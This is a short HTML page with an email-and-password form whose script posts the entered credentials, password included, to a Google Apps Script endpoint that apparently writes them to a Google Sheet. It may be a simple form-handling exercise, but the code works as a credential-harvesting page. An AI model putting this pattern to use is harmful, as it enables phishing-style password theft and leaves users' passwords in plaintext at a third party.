<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="input-group">
<form name="submit-to-google-sheet">
<input type="email" name="Email" placeholder="Your Email" required>
<input type="password" name="Password" placeholder="Your Password" required>
<button type="submit">Submit</button>
</form>
</div>
<script>
const scriptURL = 'https://script.google.com/macros/s/AKfycbz5NRujgP49MSCT9MSj4LuV7E9_PsNpC-Za8iqkDDoqvzYb54dP-BfRV5VkZwNxHoHHjw/exec'
const form = document.forms['submit-to-google-sheet']
form.addEventListener('submit', e => {
e.preventDefault()
fetch(scriptURL, { method: 'POST', body: new FormData(form)})
.then(response => console.log('Success!', response))
.catch(error => console.error('Error!', error.message))
})
</script>
</body>
</html>